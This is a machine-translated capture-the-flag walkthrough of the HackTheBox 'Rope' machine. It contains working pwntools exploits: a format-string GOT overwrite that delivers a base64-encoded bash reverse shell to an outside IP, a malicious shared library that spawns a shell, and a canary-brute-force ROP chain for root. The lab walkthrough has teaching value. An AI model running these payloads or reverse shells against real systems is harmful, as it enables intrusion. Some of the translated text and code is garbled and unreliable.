هاك ذا بوكس. حبل تجول. PWN. تنسيق السلاسل و ROP باستخدام pwntools

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .

في هذه المقالة ، نجمع العديد من pwn ، والتي سنحلها باستخدام pwntools. أعتقد أنه سيكون مفيدًا للقراء الذين لديهم أي مستوى من الوعي في هذا الموضوع. دعنا نذهب ...

الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.148 ، والذي أضيفه إلى / etc / hosts.

10.10.10.148    rope.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

صورة

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A rope.htb -p22,9999

صورة

يقوم المضيف بتشغيل SSH وخادم ويب. سننشر على الويب وسنتلقى استمارة تفويض.

صورة

عند عرض مسح الدليل ، نحصل على دليل غير مفهرس / (http: //rope.htb: 9999 //).

صورة

وفي الدليل / opt / www نجد الملف القابل للتنفيذ - هذا هو خادم الويب الخاص بنا.

صورة

HTTPserver PWN


قم بتنزيله وشاهد ما هي الحماية مع checkec.

صورة

وبالتالي ، لدينا تطبيق 32 بت مع جميع وسائل الحماية النشطة ، وهي:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

نظرًا لحقيقة أنه يمكننا قراءة الملفات على الخادم ، يمكننا قراءة خريطة العملية لهذا الملف القابل للتنفيذ. هذا سوف يعطينا الإجابة على الأسئلة التالية:

  1. ما العنوان الذي يتم تنزيل البرنامج عليه؟
  2. وفي أي عنوان يتم تحميل المكتبات التي تستخدمها؟

لنفعل ذلك.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

صورة

وبالتالي ، لدينا عنوانان: 0x56558000 و f7ddc000. في الوقت نفسه ، نحصل على المسار إلى مكتبة libc المستخدمة ، ونقوم بتنزيلها أيضًا. الآن ، مع الأخذ في الاعتبار كل شيء موجود ، سنقوم بإنشاء قالب استغلال.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

الآن افتح الملف نفسه لتحليله في أداة تفكيك ملائمة لك (مع أداة فك الشفرة). أستخدم IDA مع مجموعة من المكونات الإضافية ، وقبل الدخول في تحليل عميق ، أفضل النظر في كل شيء يمكنني جمع مكونات إضافية مثبتة. واحدة من العديد من هذه هي LazyIDA . وبالنسبة لطلب البحث "مسح سلسلة التنسيق vuln" نحصل على لوحة مع وظائف محتملة الضعف.

صورة

من تجربة استخدام هذا البرنامج المساعد ، وجهت الانتباه على الفور إلى السطر الثاني (معلمة تنسيقه). ننتقل إلى مكان استخدام هذه الوظيفة ونقوم بفكها.

صورة

ويتم تأكيد التخمينات ، ويتم تمرير الخط ببساطة إلى وظيفة printf. دعنا نكتشف ما هي هذه السلسلة. دعنا نذهب إلى مكان الاستدعاء لوظيفة log_access.

صورة

لذلك نحن مهتمون بالمعلمة الثالثة ، التي كانت تميز المؤسسة الدولية للتنمية كملف. ولا نحصل على إجابات لجميع الأسئلة إلا من خلال النظر إلى الإسنادات الترافقية لهذا المتغير.

صورة

وبالتالي ، هذا مؤشر إلى سلسلة - اسم الملف المفتوح للقراءة. نظرًا لأن هذا المتغير هو نتيجة دالة parse_request () ، يتم فتح الملف للقراءة ، والبرنامج بأكمله هو خادم ويب ، يمكننا أن نفترض أن هذه هي الصفحة المطلوبة على الخادم.

curl http://127.0.0.1:9999/qwerty

صورة

دعونا نتحقق من ثغرة سلسلة التنسيق.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

صورة

غرامة! دعونا نحدد الإزاحة (عدد محددات٪ p التي يجب إرسالها للحصول على 0x41414141 - AAAA في نهاية الإخراج).

صورة

نحصل على 53. تحقق من صحة كل شيء.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

صورة

لا يمكننا الحصول على صدفة محلية ، ولكن يمكننا تنفيذ أمر ، على سبيل المثال ، إلقاء قذيفة عكسية:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

ولكن لتجنب أي أحرف غير مريحة ، سنقوم بتشفيرها في base64 ، ثم ستبدو مكالمة shell كما يلي:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

وفي النهاية ، استبدل جميع المسافات ببنية $ IFS. نحصل على الأمر الذي تحتاج إلى تنفيذه للحصول على الاتصال الخلفي.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

دعنا نضيف هذا إلى الرمز:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

نعود الآن إلى سلسلة التنسيق الخاصة بنا. بما أن putsf يسمى بعد printf () ، يمكننا إعادة كتابة عنوانه في GOT إلى عنوان وظيفة النظام من libc. بفضل pwntools ، من السهل جدًا القيام بذلك. افترض أنه يمكنك الحصول على العنوان النسبي لوظيفة puts باستخدام binary.got ['puts] ، بسهولة أيضًا مع وظيفة النظام: libc.symbols [' system ']. حول خطوط التنسيق و GOT التي وصفتها بالتفصيل في مقالات حول pwn ، لذلك هنا نقوم ببساطة بجمع خط التنسيق باستخدام pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

نقوم بجمع الحمولة النهائية:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

نقوم بتوصيل وإرسال:

p = remote(host,port)
p.send(payload)
p.close()

يبدو الرمز الكامل مثل هذا.

صورة

دعنا ننفذ الرمز ونحصل على الاتصال مرة أخرى.

صورة

صورة

المستعمل


دعونا نتحقق من إعدادات sudo لتنفيذ الأوامر بدون كلمة مرور.

صورة

ونرى أنه يمكنك تنفيذ عمليات القراءة نيابة عن المستخدم r4j. لا توجد نقاط ضعف في التطبيق ، GTFOBins غائبة أيضًا. دعنا نرى المكتبات التي يستخدمها التطبيق.

صورة

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

صورة

أي أنه يمكننا الكتابة إلى هذه الملفات. لنكتب مكتبتنا.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

الآن تجميعها.

gcc -c -Wall -Werror -fpic liblog.c

وجمع المكتبة.

Gcc -shared -o liblog.so liblog.o

ثم نقوم بتحميل الملف إلى المضيف ، ونستبدل المكتبة وننفذ البرنامج.

صورة

لذلك نأخذ المستخدم.

جذر


لسرد النظام نستخدم linpeas.

صورة

إذاً على المضيف المحلي ، فإن المنفذ 1337 يستمع.

صورة

كما ترى ، مستخدمنا عضو في مجموعة adm. دعنا نلقي نظرة على الملفات المتاحة لهذه المجموعة.

صورة

هناك ملف مثير للاهتمام. وهذا هو البرنامج الذي يستمع على المنفذ.

صورة

في هذه الحالة ، يعمل التطبيق كجذر.

صورة

قم بتنزيل التطبيق نفسه ومكتبة libc التي يستخدمها. ولاحظ أن ASLR نشط على المضيف.

صورة

تحقق من حماية التطبيق.

صورة

الكل إلى أقصى حد. أي ، إذا وجدنا تجاوزًا في سعة المخزن المؤقت ، فسوف نحتاج إلى تخمين الكناري (القيمة التي تم التحقق منها قبل الخروج من الوظيفة للتحقق من سلامة المخزن المؤقت) ، وكأسلوب لاستغلال الثغرة الأمنية ، سنستخدم ROP (التي كتبت عنها ببعض التفاصيلهنا ). دعونا نفتح البرنامج في أي أداة تفكيك بمحلل ملائم لك (أستخدم IDA Pro). نقوم بفك الوظيفة الرئيسية الرئيسية.

صورة

مثال على الكناري هو المتغير v10 ، الذي تم تعيينه في بداية الدالة. دعونا نرى ما هي وظيفة sub_1267 المسؤولة عنها.

صورة

حتى هنا نفتح المنفذ للاستماع. يمكنك إعادة تسميته إلى is_listen () ؛ نذهب أبعد من ذلك. الوظيفة التالية المعرفة من قبل المستخدم هي sub_14EE.

صورة

قبل الإرسال ، هناك وظيفة مستخدم أخرى. نحن ننظر إليها.

صورة

وهكذا ، في هذه الوظيفة ، يتم تلقي سلسلة تصل إلى 0x400 بايت وكتابتها في المخزن المؤقت. يشير التعليق على buf المتغير إلى العنوان المتعلق بقاعدة إطار المكدس الحالي (rbp) - [rbp-40h] ، وللمتغير v3 (canary) عنوان نسبي [rbp-8h] ، لذلك بالنسبة إلى تجاوز سعة المخزن المؤقت ، نحتاج إلى المزيد [rbp- 8 س] - [rbp-40h] = 0x40-8 = 56 بايت.

وبذلك تكون الخطة على النحو التالي:

  1. إيجاد وتجاوز العازلة ؛
  2. اخماد الكناري ، rbp وتمزق ؛
  3. نظرًا لأن PIE نشط ، فأنت بحاجة إلى العثور على الإزاحة الفعلية ؛
  4. إيجاد تسرب للذاكرة لحساب العنوان الذي يتم تحميل المكتبة عليه ؛
  5. اجمع ROP ، حيث سيتم إعادة توجيه دفق الواصفات القياسية إلى واصف الشبكة للبرنامج ، ثم استدعاء / bin / sh من خلال وظيفة النظام.

1. تجاوز سعة المخزن المؤقت


كما هو موضح أدناه ، عند إرسال 56 بايت ، يستمر البرنامج في العمل بشكل طبيعي ، ولكن إرسال 57 بايت ، نحصل على استثناء. وبالتالي ، يتم انتهاك سلامة العازلة.

صورة

دعونا نجعل قالب استغلال. نظرًا لأنه سيكون من الضروري فرز الكثير وإعادة توصيله ، فسوف نقوم بتعطيل إخراج رسائل pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary ، RBP ، RIP


كما اكتشفنا ، بعد 56 بايت من المخزن المؤقت ، هناك كناري ، وبعد ذلك هناك عناوين RBP و RIP في المكدس ، والتي تحتاج أيضًا إلى فرزها. دعنا نكتب دالة مطابقة 8 بايت.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

حتى نتمكن من إنشاء التحميل المسبق:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3. فطيرة


الآن دعونا نتعامل مع PIE. وجدنا RIP - هذا هو عنوان الإرجاع حيث نعود من الوظيفة. وبالتالي ، يمكننا طرح منه عنوان المرسل في الكود.

صورة

وبالتالي ، فإن الإزاحة من القاعدة هي 0x1562. دعنا نشير إلى العنوان الحقيقي للتطبيق قيد التشغيل.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4. تسرب الذاكرة


يستخدم التطبيق وظيفة الكتابة القياسية () لعرض سلسلة المطالبة ، والتي تأخذ مقبضًا للإخراج والمخزن المؤقت وحجمه. يمكننا استخدام هذه الوظيفة.

من أجل الراحة ، دعنا نستخدم وحدة ROP من pwntools. باختصار ، كيف ولماذا يتم تقديم هذا العمل في الصورة أدناه.

صورة

دعونا نحصل على تسرب ، سيتيح لنا ذلك معرفة العنوان الذي توجد فيه وظيفة الكتابة في مكتبة libc المحملة.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


دعنا نغير العنوان الأساسي لمكتبة libc ونعثر على عنوان السطر / bin / sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

يبقى جمع ROP ، حيث سيتم إعادة توجيه واصفات الإدخال / الإخراج القياسية (0،1،2) إلى الواصف المسجل في البرنامج (4). بعد ذلك سيتم استدعاء وظيفة النظام ، حيث سنقوم بتمرير عنوان السطر / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. عملية
كود استغلال كامل.

صورة

الآن على الخادم ، اكتب مفتاح ssh للملف /home/r4j/.ssh/authorizef_keys.

صورة

وأعد توجيه المنفذ (تأكد من إعادة توجيه الاتصال من المنفذ المحلي 1337 عبر SSH إلى المنفذ 1337 للمضيف البعيد).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

وإطلاق استغلال.

صورة

نحن نعمل تحت الجذر.

يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles